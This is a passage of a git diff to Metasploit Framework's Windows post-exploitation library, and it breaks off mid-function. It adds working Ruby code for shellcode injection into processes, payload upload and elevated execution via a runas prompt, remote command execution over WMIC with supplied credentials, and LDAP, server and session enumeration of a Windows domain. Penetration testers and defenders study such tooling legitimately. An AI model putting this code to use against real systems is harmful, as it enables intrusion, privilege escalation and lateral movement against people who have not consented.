EVT_INVALID_PUBLISHER_NAME = 0x3A9C + EVT_INVALID_EVENT_DATA = 0x3A9D + EVT_CHANNEL_NOT_FOUND = 0x3A9F + EVT_MALFORMED_XML_TEXT = 0x3AA0 + EVT_SUBSCRIPTION_TO_DIRECT_CHANNEL = 0x3AA1 + EVT_CONFIGURATION_ERROR = 0x3AA2 + EVT_QUERY_RESULT_STALE = 0x3AA3 + EVT_QUERY_RESULT_INVALID_POSITION = 0x3AA4 + EVT_NON_VALIDATING_MSXML = 0x3AA5 + EVT_FILTER_ALREADYSCOPED = 0x3AA6 + EVT_FILTER_NOTELTSET = 0x3AA7 + EVT_FILTER_INVARG = 0x3AA8 + EVT_FILTER_INVTEST = 0x3AA9 + EVT_FILTER_INVTYPE = 0x3AAA + EVT_FILTER_PARSEERR = 0x3AAB + EVT_FILTER_UNSUPPORTEDOP = 0x3AAC + EVT_FILTER_UNEXPECTEDTOKEN = 0x3AAD + EVT_INVALID_OPERATION_OVER_ENABLED_DIRECT_CHANNEL = 0x3AAE + EVT_INVALID_CHANNEL_PROPERTY_VALUE = 0x3AAF + EVT_INVALID_PUBLISHER_PROPERTY_VALUE = 0x3AB0 + EVT_CHANNEL_CANNOT_ACTIVATE = 0x3AB1 + EVT_FILTER_TOO_COMPLEX = 0x3AB2 + EVT_MESSAGE_NOT_FOUND = 0x3AB3 + EVT_MESSAGE_ID_NOT_FOUND = 0x3AB4 + EVT_UNRESOLVED_VALUE_INSERT = 0x3AB5 + EVT_UNRESOLVED_PARAMETER_INSERT = 0x3AB6 + EVT_MAX_INSERTS_REACHED = 0x3AB7 + EVT_EVENT_DEFINITION_NOT_FOUND = 0x3AB8 + EVT_MESSAGE_LOCALE_NOT_FOUND = 0x3AB9 + EVT_VERSION_TOO_OLD = 0x3ABA + EVT_VERSION_TOO_NEW = 0x3ABB + EVT_CANNOT_OPEN_CHANNEL_OF_QUERY = 0x3ABC + EVT_PUBLISHER_DISABLED = 0x3ABD + EVT_FILTER_OUT_OF_RANGE = 0x3ABE + EC_SUBSCRIPTION_CANNOT_ACTIVATE = 0x3AE8 + EC_LOG_DISABLED = 0x3AE9 + EC_CIRCULAR_FORWARDING = 0x3AEA + EC_CREDSTORE_FULL = 0x3AEB + EC_CRED_NOT_FOUND = 0x3AEC + EC_NO_ACTIVE_CHANNEL = 0x3AED + MUI_FILE_NOT_FOUND = 0x3AFC + MUI_INVALID_FILE = 0x3AFD + MUI_INVALID_RC_CONFIG = 0x3AFE + MUI_INVALID_LOCALE_NAME = 0x3AFF + MUI_INVALID_ULTIMATEFALLBACK_NAME = 0x3B00 + MUI_FILE_NOT_LOADED = 0x3B01 + RESOURCE_ENUM_USER_STOP = 0x3B02 + MUI_INTLSETTINGS_UILANG_NOT_INSTALLED = 0x3B03 + MUI_INTLSETTINGS_INVALID_LOCALE_NAME = 0x3B04 + MCA_INVALID_CAPABILITIES_STRING = 0x3B60 + MCA_INVALID_VCP_VERSION = 0x3B61 + MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION = 0x3B62 + MCA_MCCS_VERSION_MISMATCH = 0x3B63 + MCA_UNSUPPORTED_MCCS_VERSION = 0x3B64 + MCA_INTERNAL_ERROR = 0x3B65 + MCA_INVALID_TECHNOLOGY_TYPE_RETURNED = 0x3B66 + MCA_UNSUPPORTED_COLOR_TEMPERATURE = 0x3B67 + AMBIGUOUS_SYSTEM_DEVICE = 0x3B92 + SYSTEM_DEVICE_NOT_FOUND = 0x3BC3 + HASH_NOT_SUPPORTED = 0x3BC4 + HASH_NOT_PRESENT = 0x3BC5 + INVALID_HANDLE_VALUE = 0xffffffff +end diff --git a/lib/msf/core/post/windows/extapi.rb b/lib/msf/core/post/windows/extapi.rb new file mode 100644 index 0000000000..b0ca55822a --- /dev/null +++ b/lib/msf/core/post/windows/extapi.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module ExtAPI + + def load_extapi + if session.extapi + return true + else + begin + return session.core.use("extapi") + rescue Errno::ENOENT + print_error("Unable to load Extended API.") + return false + end + end + end + +end # ExtAPI +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb new file mode 100644 index 0000000000..0e3aae269a --- /dev/null +++ b/lib/msf/core/post/windows/ldap.rb @@ -0,0 +1,376 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +# +# @see +# http://msdn.microsoft.com/en-us/library/windows/desktop/aa366961(v=vs.85).aspx +# MSDN: Lightweight Directory Access Protocol +module LDAP + + include Msf::Post::Windows::Error + include Msf::Post::Windows::ExtAPI + include Msf::Post::Windows::Accounts + + LDAP_SIZELIMIT_EXCEEDED = 0x04 + LDAP_OPT_SIZELIMIT = 0x03 + LDAP_AUTH_NEGOTIATE = 0x0486 + + DEFAULT_PAGE_SIZE = 500 + + ERROR_CODE_TO_CONSTANT = + { + 0x0b => 'LDAP_ADMIN_LIMIT_EXCEEDED', + 0x47 => 'LDAP_AFFECTS_MULTIPLE_DSAS', + 0x24 => 'LDAP_ALIAS_DEREF_PROBLEM', + 0x21 => 'LDAP_ALIAS_PROBLEM', + 0x44 => 'LDAP_ALREADY_EXISTS', + 0x14 => 'LDAP_ATTRIBUTE_OR_VALUE_EXISTS', + 0x07 => 'LDAP_AUTH_METHOD_NOT_SUPPORTED', + 0x56 => 'LDAP_AUTH_UNKNOWN', + 0x33 => 'LDAP_BUSY', + 0x60 => 'LDAP_CLIENT_LOOP', + 0x05 => 'LDAP_COMPARE_FALSE', + 0x06 => 'LDAP_COMPARE_TRUE', + 0x0d => 'LDAP_CONFIDENTIALITY_REQUIRED', + 0x5b => 'LDAP_CONNECT_ERROR', + 0x13 => 'LDAP_CONSTRAINT_VIOLATION', + 0x5d => 'LDAP_CONTROL_NOT_FOUND', + 0x54 => 'LDAP_DECODING_ERROR', + 0x53 => 'LDAP_ENCODING_ERROR', + 0x57 => 'LDAP_FILTER_ERROR', + 0x30 => 'LDAP_INAPPROPRIATE_AUTH', + 0x12 => 'LDAP_INAPPROPRIATE_MATCHING', + 0x32 => 'LDAP_INSUFFICIENT_RIGHTS', + 0x31 => 'LDAP_INVALID_CREDENTIALS', + 0x22 => 'LDAP_INVALID_DN_SYNTAX', + 0x15 => 'LDAP_INVALID_SYNTAX', + 0x23 => 'LDAP_IS_LEAF', + 0x52 => 'LDAP_LOCAL_ERROR', + 0x36 => 'LDAP_LOOP_DETECT', + 0x5f => 'LDAP_MORE_RESULTS_TO_RETURN', + 0x40 => 'LDAP_NAMING_VIOLATION', + 0x5a => 'LDAP_NO_MEMORY', + 0x45 => 'LDAP_NO_OBJECT_CLASS_MODS', + 0x5e => 'LDAP_NO_RESULTS_RETURNED', + 0x10 => 'LDAP_NO_SUCH_ATTRIBUTE', + 0x20 => 'LDAP_NO_SUCH_OBJECT', + 0x42 => 'LDAP_NOT_ALLOWED_ON_NONLEAF', + 0x43 => 'LDAP_NOT_ALLOWED_ON_RDN', + 0x5c => 'LDAP_NOT_SUPPORTED', + 0x41 => 'LDAP_OBJECT_CLASS_VIOLATION', + 0x01 => 'LDAP_OPERATIONS_ERROR', + 0x50 => 'LDAP_OTHER', + 0x59 => 'LDAP_PARAM_ERROR', + 0x09 => 'LDAP_PARTIAL_RESULTS', + 0x02 => 'LDAP_PROTOCOL_ERROR', + 0x0a => 'LDAP_REFERRAL', + 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED', + 0x09 => 'LDAP_REFERRAL_V2', + 0x46 => 'LDAP_RESULTS_TOO_LARGE', + 0x51 => 'LDAP_SERVER_DOWN', + 0x04 => 'LDAP_SIZELIMIT_EXCEEDED', + 0x08 => 'LDAP_STRONG_AUTH_REQUIRED', + 0x00 => 'LDAP_SUCCESS', + 0x03 => 'LDAP_TIMELIMIT_EXCEEDED', + 0x55 => 'LDAP_TIMEOUT', + 0x34 => 'LDAP_UNAVAILABLE', + 0x0c => 'LDAP_UNAVAILABLE_CRIT_EXTENSION', + 0x11 => 'LDAP_UNDEFINED_TYPE', + 0x35 => 'LDAP_UNWILLING_TO_PERFORM', + 0x58 => 'LDAP_USER_CANCELLED', + 0x4c => 'LDAP_VIRTUAL_LIST_VIEW_ERROR' + } + + def initialize(info = {}) + super + register_options( + [ + OptString.new('DOMAIN', [false, 'The domain to query or distinguished name (e.g. DC=test,DC=com)', nil]), + OptInt.new('MAX_SEARCH', [true, 'Maximum values to retrieve, 0 for all.', 500]), + ], self.class) + end + + # Converts a Distinguished Name to DNS name + # + # @param dn [String] Distinguished Name + # @return [String] DNS name + def dn_to_domain(dn) + if dn.include? "DC=" + return dn.gsub(',','').split('DC=')[1..-1].join('.') + else + return dn + end + end + + # Performs an ldap query + # + # @param filter [String] LDAP search filter + # @param max_results [Fixnum] Maximum results + # @param fields [Array<String>] Attributes to retrieve + # @param domain [String] Optional domain or distinguished name + # @return [Hash] Entries found + # @raise [RuntimeError] Raised when the default naming context isn't + # specified as distinguished name. + def query(filter, max_results, fields, domain=nil) + domain ||= datastore['DOMAIN'] + domain ||= get_domain + + if domain.blank? + raise RuntimeError, "Unable to find the domain to query." + end + + if load_extapi + return session.extapi.adsi.domain_query(domain, filter, max_results, DEFAULT_PAGE_SIZE, fields) + else + if domain and domain.include? "DC=" + default_naming_context = domain + domain = dn_to_domain(domain) + else + default_naming_context = get_default_naming_context(domain) + end + + bind_default_ldap_server(max_results, domain) do |session_handle| + return query_ldap(session_handle, default_naming_context, 2, filter, fields) + end + end + end + + # Performs a query to retrieve the default naming context + # + # @param domain [String] Optional domain or distinguished name + # @return [String] + def get_default_naming_context(domain=nil) + bind_default_ldap_server(1, domain) do |session_handle| + print_status("Querying default naming context") + + query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) + first_entry_fields = query_result[:results].first + # Value from First Attribute of First Entry + default_naming_context = first_entry_fields.first + vprint_status("Default naming context #{default_naming_context}") + return default_naming_context + end + end + + # Performs a query on the LDAP session + # + # @param session_handle [Handle] LDAP Session Handle + # @param base [Fixnum] Pointer to string that contains distinguished + # name of entry to start the search + # @param scope [Fixnum] Search Scope + # @param filter [String] Search Filter + # @param fields [Array<String>] Attributes to retrieve + # @return [Hash] Entries found + def query_ldap(session_handle, base, scope, filter, fields) + vprint_status("Searching LDAP directory") + search = wldap32.ldap_search_sA(session_handle, base, scope, filter, nil, 0, 4) + vprint_status("search: #{search}") + + if search['return'] == LDAP_SIZELIMIT_EXCEEDED + print_error("LDAP_SIZELIMIT_EXCEEDED, parsing what we retrieved, try increasing the MAX_SEARCH value [0:LDAP_NO_LIMIT]") + elsif search['return'] != Error::SUCCESS + print_error("No results") + wldap32.ldap_msgfree(search['res']) + return + end + + search_count = wldap32.ldap_count_entries(session_handle, search['res'])['return'] + + if search_count == 0 + print_error("No entries retrieved") + wldap32.ldap_msgfree(search['res']) + return + end + + print_status("Entries retrieved: #{search_count}") + + pEntries = [] + entry_results = [] + + if datastore['MAX_SEARCH'] == 0 + max_search = search_count + else + max_search = [datastore['MAX_SEARCH'], search_count].min + end + + 0.upto(max_search - 1) do |i| + + if(i==0) + pEntries[0] = wldap32.ldap_first_entry(session_handle, search['res'])['return'] + end + + if(pEntries[i] == 0) + print_error("Failed to get entry") + wldap32.ldap_msgfree(search['res']) + return + end + + vprint_status("Entry #{i}: 0x#{pEntries[i].to_s(16)}") + + entry = get_entry(pEntries[i]) + + # Entries are a linked list... + if client.platform =~ /x64/ + pEntries[i+1] = entry[4] + else + pEntries[i+1] = entry[3] + end + + ber = get_ber(entry) + + field_results = [] + fields.each do |field| + vprint_status("Field: #{field}") + + values = get_values_from_ber(ber, field) + + values_result = "" + values_result = values.join(',') if values + vprint_status("Values #{values}") + + field_results << values_result + end + + entry_results << field_results + end + + return { + :fields => fields, + :results => entry_results + } + end + + # Gets the LDAP Entry + # + # @param pEntry [Fixnum] Pointer to the Entry + # @return [Array] Entry data structure + def get_entry(pEntry) + return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC') + end + + # Get BER Element data structure from LDAPMessage + # + # @param msg [String] The LDAP Message from the server + # @return [String] The BER data structure + def get_ber(msg) + ber = client.railgun.memread(msg[2],60).unpack('V*') + + # BER Pointer is different between x86 and x64 + if client.platform =~ /x64/ + ber_data = client.railgun.memread(ber[4], ber[0]) + else + ber_data = client.railgun.memread(ber[3], ber[0]) + end + + return ber_data + end + + # Search through the BER data structure for our Attribute. + # This doesn't attempt to parse the BER structure correctly + # instead it finds the first occurance of our field name + # tries to check the length of that value. + # + # @param ber_data [String] BER data structure + # @param field [String] Attribute name + # @return [Array] Values for the given +field+ + def get_values_from_ber(ber_data, field) + field_offset = ber_data.index(field) + + unless field_offset + vprint_status("Field not found in BER: #{field}") + return nil + end + + # Value starts after our field string + values_offset = field_offset + field.length + values_start_offset = values_offset + 8 + values_len_offset = values_offset + 5 + curr_len_offset = values_offset + 7 + + values_length = ber_data[values_len_offset].unpack('C')[0] + values_end_offset = values_start_offset + values_length + + curr_length = ber_data[curr_len_offset].unpack('C')[0] + curr_start_offset = values_start_offset + + if (curr_length >= 127) + curr_length = ber_data[curr_len_offset+1,4].unpack('N')[0] + curr_start_offset += 4 + end + + curr_end_offset = curr_start_offset + curr_length + + values = [] + while (curr_end_offset < values_end_offset) + values << ber_data[curr_start_offset..curr_end_offset] + + break unless ber_data[curr_end_offset] == "\x04" + + curr_len_offset = curr_end_offset + 1 + curr_length = ber_data[curr_len_offset].unpack('C')[0] + curr_start_offset = curr_end_offset + 2 + curr_end_offset = curr_end_offset + curr_length + 2 + end + + # Strip trailing 0 or \x04 which is used to delimit values + values.map! {|x| x[0..x.length-2]} + + return values + end + + # Shortcut to the WLDAP32 Railgun Object + # @return [Object] wldap32 + def wldap32 + client.railgun.wldap32 + end + + # Binds to the default LDAP Server + # @param size_limit [Fixnum] Maximum number of results to return in a query + # @param domain [String] Optional domain or distinguished name + # @return LDAP session handle + def bind_default_ldap_server(size_limit, domain=nil) + vprint_status("Initializing LDAP connection.") + + # If domain is still null the API may be able to handle it... + init_result = wldap32.ldap_sslinitA(domain, 389, 0) + session_handle = init_result['return'] + if session_handle == 0 + raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}") + end + + vprint_status("LDAP Handle: #{session_handle}") + + vprint_status("Setting Sizelimit Option") + wldap32.ldap_set_option(session_handle, LDAP_OPT_SIZELIMIT, size_limit) + + vprint_status("Binding to LDAP server") + bind_result = wldap32.ldap_bind_sA(session_handle, nil, nil, LDAP_AUTH_NEGOTIATE) + + bind = bind_result['return'] + unless bind == 0 + wldap32.ldap_unbind(session_handle) + raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}") + end + + if (block_given?) + begin + yield session_handle + ensure + vprint_status("Unbinding from LDAP service") + wldap32.ldap_unbind(session_handle) + end + else + return session_handle + end + + return session_handle + end + +end + +end +end +end diff --git a/lib/msf/core/post/windows/netapi.rb b/lib/msf/core/post/windows/netapi.rb new file mode 100644 index 0000000000..4ece2a443e --- /dev/null +++ b/lib/msf/core/post/windows/netapi.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- +module Msf +class Post +module Windows + +module NetAPI + + MAX_PREFERRED_LENGTH = -1 + SV_TYPE_ALL = 0xFFFFFFFF + SV_TYPE_DOMAIN_ENUM = 0x80000000 + SV_TYPE_DOMAIN_BAKCTRL = 10 + SV_TYPE_DOMAIN_CTRL = 4 + + ERROR_ACCESS_DENIED = 5 + ERROR_NOT_ENOUGH_MEMORY = 8 + ERROR_INVALID_PARAMETER = 87 + ERROR_INVALID_LEVEL = 124 + ERROR_MORE_DATA = 234 + ERROR_NO_BROWSER_SERVERS_FOUND = 6118 + + NERR_ClientNameNotFound = 2312 + NERR_InvalidComputer = 2351 + NERR_UserNotFound = 2221 + + def UnicodeByteStringToAscii(str) + length = (str.index "\0\0\0") + 1 + Rex::Text.to_ascii(str[0..length]) + end + + def netapi_buffer_free(ptr) + # Free the buffer + ret = client.railgun.netapi32.NetApiBufferFree(ptr) + vprint_error("Unable to free buffer, Error Code: #{ret['return']}") unless ret['return'] == 0 + end + + def net_server_enum(server_type=SV_TYPE_ALL, domain=nil) + hosts = [] + + result = client.railgun.netapi32.NetServerEnum( + nil, # servername + 100, # level (100/101) + 4, # bufptr + MAX_PREFERRED_LENGTH, # prefmaxlen + 4, # entries read + 4, # total entries + server_type, # server_type + domain, # domain + nil # resume handle + ) + + case result['return'] + when 0 + # Railgun assumes PDWORDS are pointers and returns 8 bytes for x64 architectures. + # Therefore we need to truncate the result value to an actual + # DWORD for entriesread or totalentries. + hosts = read_server_structs(result['bufptr'], (result['entriesread'] % 4294967296), domain, server_type) + when ERROR_NO_BROWSER_SERVERS_FOUND + print_error("ERROR_NO_BROWSER_SERVERS_FOUND") + return nil + when ERROR_MORE_DATA + vprint_error("ERROR_MORE_DATA") + return nil + end + + netapi_buffer_free(result['bufptr']) + + return hosts + end + + def read_server_structs(start_ptr, count, domain, server_type) + hosts = [] + return hosts if count <= 0 + + ptr_size = client.railgun.util.pointer_size + ptr = (ptr_size == 8) ? 'Q<' : 'V' + + base = 0 + # Struct -> Ptr, Ptr + struct_size = ptr_size * 2 + + mem = client.railgun.memread(start_ptr, struct_size*count) + + count.times do + x = {} + x[:version]= mem[(base + 0),ptr_size].unpack(ptr).first + nameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first + x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255)) + hosts << x + base += struct_size + end + + hosts + end + + def net_session_enum(hostname, username) + sessions = [] + + result = client.railgun.netapi32.NetSessionEnum( + hostname, # servername + nil, # UncClientName + username, # username + 10, # level + 4, # bufptr + MAX_PREFERRED_LENGTH, # prefmaxlen + 4, # entriesread + 4, # totalentries + nil # resume_handle + ) + + case result['return'] + when 0 + vprint_error("#{hostname} Session identified") + sessions = read_session_structs(result['bufptr'], (result['entriesread'] % 4294967296), hostname) + when ERROR_ACCESS_DENIED + vprint_error("#{hostname} Access denied...") + return nil + when 53 + vprint_error("Host not found or did not respond: #{hostname}") + return nil + when 123 + vprint_error("Invalid host: #{hostname}") + return nil + when NERR_UserNotFound + return nil + when ERROR_MORE_DATA + vprint_error("#{hostname} ERROR_MORE_DATA") + else + vprint_error("Unaccounted for error code: #{result['return']}") + return nil + end + + netapi_buffer_free(result['bufptr']) + + return sessions + end + + def read_session_structs(start_ptr, count, hostname) + sessions = [] + return sessions if count <= 0 + + ptr_size = client.railgun.util.pointer_size + ptr = (ptr_size == 8) ? 'Q<' : 'V' + + base = 0 + # Struct -> Ptr, Ptr, Dword Dword + struct_size = (ptr_size * 2) + 8 + mem = client.railgun.memread(start_ptr, struct_size*count) + + count.times do + sess = {} + cnameptr = mem[(base + 0),ptr_size].unpack(ptr).first + usernameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first + sess[:usetime] = mem[(base + (ptr_size * 2)),4].unpack('V').first + sess[:idletime] = mem[(base + (ptr_size * 2) + 4),4].unpack('V').first + sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255)) + sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255)) + sess[:hostname] = hostname + sessions << sess + base = base + struct_size + end + + sessions + end + +end # NetAPI +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 33b6fca9f8..b77da4a5e3 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -19,8 +19,8 @@ module Powershell # Returns true if powershell is installed # def have_powershell? - cmd_out = cmd_exec("powershell get-host") - return true if cmd_out =~ /Name.*Version.*InstanceID/ + cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"') + return true if cmd_out =~ /Name.*Version.*InstanceId/m return false end diff --git a/lib/msf/core/post/windows/process.rb b/lib/msf/core/post/windows/process.rb index 23bc3868ca..53a4e1e3f3 100644 --- a/lib/msf/core/post/windows/process.rb +++ b/lib/msf/core/post/windows/process.rb @@ -23,19 +23,22 @@ module Process else shell_addr = host.memory.allocate(shellcode.length, nil, base_addr) end + + host.memory.protect(shell_addr) + if host.memory.write(shell_addr, shellcode) < shellcode.length vprint_error("Failed to write shellcode") return false end vprint_status("Creating the thread to execute in 0x#{shell_addr.to_s(16)} (pid=#{pid.to_s})") - ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, 0, nil) - if ret['return'] < 1 - vprint_error("Unable to CreateThread") - return false + thread = host.thread.create(shell_addr,0) + unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread) + vprint_error("Unable to create thread") + nil end - true + thread end end # Process diff --git a/lib/msf/core/post/windows/runas.rb b/lib/msf/core/post/windows/runas.rb new file mode 100644 index 0000000000..663da8e431 --- /dev/null +++ b/lib/msf/core/post/windows/runas.rb @@ -0,0 +1,38 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/powershell' +require 'msf/core/exploit/exe' + +module Msf::Post::Windows::Runas + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Powershell + + def execute_exe(filename = nil, path = nil, upload = nil) + payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' + payload_path = path || get_env('TEMP') + cmd_location = "#{payload_path}\\#{payload_filename}" + + if upload + exe_payload = generate_payload_exe + print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...") + write_file(cmd_location, exe_payload) + else + print_status("No file uploaded, attempting to execute #{cmd_location}...") + end + + shell_exec(cmd_location, nil) + end + + def execute_psh + powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first) + command = 'cmd.exe' + args = "/c #{powershell_command}" + shell_exec(command, args) + end + + def shell_exec(command, args) + print_status('Executing elevated command...') + session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW') + end +end diff --git a/lib/msf/core/post/windows/services.rb b/lib/msf/core/post/windows/services.rb index b517358a15..a3d0d20b5a 100644 --- a/lib/msf/core/post/windows/services.rb +++ b/lib/msf/core/post/windows/services.rb @@ -292,7 +292,7 @@ module Services # Now to grab a handle to the service. # Thank you, Wine project for defining the DELETE constant since it, # and all its friends, are missing from the MSDN docs. - # #define DELETE 0x00010000 + # #define DELETE 0x00010000 handle = adv.OpenServiceA(manager, name, 0x10000) if (handle["return"] == 0) raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") @@ -306,6 +306,50 @@ module Services handle["GetLastError"] end end + + # + # Query Service Status + # + # @param (see #service_start) + # + # @return {} representing lpServiceStatus + # + # @raise (see #service_start) + # + # + def service_status(name, server=nil) + adv = session.railgun.advapi32 + ret = nil + + # 0x80000000 GENERIC_READ + open_sc_manager(:host => server, :access => 0x80000000) do |manager| + # Now to grab a handle to the service. + handle = adv.OpenServiceA(manager, name, 0x80000000) + if (handle["return"] == 0) + raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["GetLastError"]}") + end + + status = adv.QueryServiceStatus(handle["return"],28) + if (status["return"] == 0) + raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{handle["GetLastError"]}") + end + + vals = status['lpServiceStatus'].unpack('V*') + adv.CloseServiceHandle(handle["return"]) + + ret = { + :type => vals[0], + :state => vals[1], + :controls_accepted => vals[2], + :win32_exit_code => vals[3], + :service_exit_code => vals[4], + :check_point => vals[5], + :wait_hint => vals[6] + } + end + + return ret + end end end diff --git a/lib/msf/core/post/windows/shadowcopy.rb b/lib/msf/core/post/windows/shadowcopy.rb index e48720f92b..64f4870977 100644 --- a/lib/msf/core/post/windows/shadowcopy.rb +++ b/lib/msf/core/post/windows/shadowcopy.rb @@ -11,6 +11,15 @@ module Windows module ShadowCopy include Msf::Post::Windows::Services + include Msf::Post::Windows::WMIC + + def initialize(info = {}) + super + + register_options([ + OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 60 ]) + ], self.class) + end # # Get the device name for the shadow copy, which is used when accessing @@ -37,7 +46,7 @@ module ShadowCopy # Use WMIC to get a list of volume shadow copy IDs. # def vss_get_ids - result = wmicexec('shadowcopy get id') + result = wmic_query('shadowcopy get id') ids = result.scan(/\{\w{8}-\w{4}-\w{4}-\w{4}-\w{12}\}/) return ids end @@ -88,7 +97,7 @@ module ShadowCopy # specified by +id+ # def get_sc_param(id,param_name) - result = wmicexec("shadowcopy where(id=#{id}) get #{param_name}") + result = wmic_query("shadowcopy where(id=#{id}) get #{param_name}") result.gsub!(param_name,'') result.gsub!(/\s/,'') end @@ -98,7 +107,7 @@ module ShadowCopy # +param_name+ # def vss_get_storage_param(param_name) - result = wmicexec("shadowstorage get #{param_name}") + result = wmic_query("shadowstorage get #{param_name}") result.gsub!(param_name,'') result.gsub!(/\s/,'') end @@ -107,7 +116,7 @@ module ShadowCopy # Set the shadowstorage MaxSpace parameter to +bytes+ size # def vss_set_storage(bytes) - result = wmicexec("shadowstorage set MaxSpace=\"#{bytes}\"") + result = wmic_query("shadowstorage set MaxSpace=\"#{bytes}\"") if result.include?("success") return true else @@ -119,7 +128,8 @@ module ShadowCopy # Create a new shadow copy of the volume specified by +volume+ # def create_shadowcopy(volume) - result = wmicexec("shadowcopy call create \"ClientAccessible\", \"#{volume}\"") + result = wmic_query("shadowcopy call create \"ClientAccessible\", \"#{volume}\"") + retval = result.match(/ReturnValue = (\d)/) case retval[1].to_i when 0 @@ -160,7 +170,7 @@ module ShadowCopy # Start the Volume Shadow Service # def start_vss - vss_state = wmicexec('Service where(name="VSS") get state') + vss_state = wmic_query('Service where(name="VSS") get state') if vss_state=~ /Running/ print_status("Volume Shadow Copy service is running.") else @@ -191,48 +201,6 @@ module ShadowCopy return true end - # - # Execute a WMIC command - # - def wmicexec(wmiccmd) - tmpout = '' - session.response_timeout=120 - begin - tmp = session.fs.file.expand_path("%TEMP%") - wmicfl = tmp + "\\"+ sprintf("%.5d",rand(100000)) - r = session.sys.process.execute("cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe /append:#{wmicfl} #{wmiccmd}", nil, {'Hidden' => true}) - sleep(2) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - wmioutfile.close - rescue ::Exception => e - print_error("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout.gsub!(/[^[:print:]]/,'') #scrub out garbage - return tmpout - end - - end end end diff --git a/lib/msf/core/post/windows/wmic.rb b/lib/msf/core/post/windows/wmic.rb new file mode 100644 index 0000000000..f2e5fc965d --- /dev/null +++ b/lib/msf/core/post/windows/wmic.rb @@ -0,0 +1,119 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module WMIC + + include Msf::Post::File + include Msf::Post::Windows::ExtAPI + + def initialize(info = {}) + super + + register_options([ + OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), + OptString.new('SMBPass', [ false, 'The password for the specified username' ]), + OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), + OptAddress.new("RHOST", [ true, "Target address range", "localhost" ]), + OptInt.new("TIMEOUT", [ true, "Timeout for WMI command in seconds", 10 ]) + ], self.class) + end + + def wmic_query(query, server=datastore['RHOST']) + extapi = load_extapi + + result_text = "" + + if datastore['SMBUser'] + if server.downcase == "localhost" || server.downcase.starts_with("127.") + raise RuntimeError, "WMIC: User credentials cannot be used for local connections" + end + end + + if extapi + session.extapi.clipboard.set_text("") + wcmd = "wmic #{wmic_user_pass_string}/output:CLIPBOARD /INTERACTIVE:off /node:#{server} #{query}" + else + tmp = session.fs.file.expand_path("%TEMP%") + out_file = "#{tmp}\\#{Rex::Text.rand_text_alpha(8)}" + wcmd = "wmic #{wmic_user_pass_string}/output:#{out_file} /INTERACTIVE:off /node:#{server} #{query}" + end + + vprint_status("[#{server}] #{wcmd}") + + # We dont use cmd_exec as WMIC cannot be Channelized + ps = session.sys.process.execute(wcmd, nil, {'Hidden' => true, 'Channelized' => false}) + session.railgun.kernel32.WaitForSingleObject(ps.handle, (datastore['TIMEOUT'] * 1000)) + ps.close + + if extapi + result = session.extapi.clipboard.get_data.first + if result[1].has_key? 'Text' + result_text = result[1]['Text'] + else + result_text = "" + end + else + result_text = Rex::Text.to_ascii(read_file(out_file))[1..-1] + file_rm(out_file) + end + + return result_text + end + + def wmic_command(cmd, server=datastore['RHOST']) + result_text = wmic_query("process call create \"#{cmd.gsub('"','\\"')}\"", server) + + parsed_result = nil + unless result_text.blank? + vprint_status("[#{server}] WMIC Command Result:") + vprint_line(result_text) + parsed_result = parse_wmic_result(result_text) + end + + if parsed_result == nil + vprint_error("[#{server}] WMIC Command Error") + end + + return parsed_result + end + + def parse_wmic_result(result_text) + if result_text.blank? + return nil + else + pid = nil + return_value = nil + + if result_text =~ /ProcessId = (\d+);/ + pid = $1.to_i + end + + if result_text =~ /ReturnValue = (\d+);/ + return_value = $1.to_i + end + + return {:return => return_value, :pid => pid, :text =>result_text} + end + end + + def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass']) + userpass = "" + + unless user.nil? + if domain.nil? + userpass = "/user:\"#{user}\" /password:\"#{pass}\" " + else + userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" " 